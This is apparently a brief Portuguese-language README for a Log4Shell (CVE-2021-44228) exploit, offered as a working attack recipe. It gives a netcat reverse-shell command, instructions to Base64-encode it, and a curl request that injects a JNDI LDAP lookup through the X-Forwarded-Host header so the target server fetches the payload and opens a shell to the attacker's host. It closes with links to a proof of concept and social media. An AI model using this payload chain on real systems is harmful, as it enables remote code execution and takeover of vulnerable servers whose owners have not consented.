log4jshell_CVE-2021-44228

Log4jshell - CVE-2021-44228

Netcat

nc [Public IP] [Port] -e /bin/sh

Converter para Base64

bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g=

Payload

curl [Site Alvo] -H "X-Forwarded-Host: ${jndi:ldap://[IP do Reverseshell]:[Porta]/Basic/Command/Base64/[Payload em base64]

Prova de conceito

Log4j PoC

Siga

Youtube

Twitter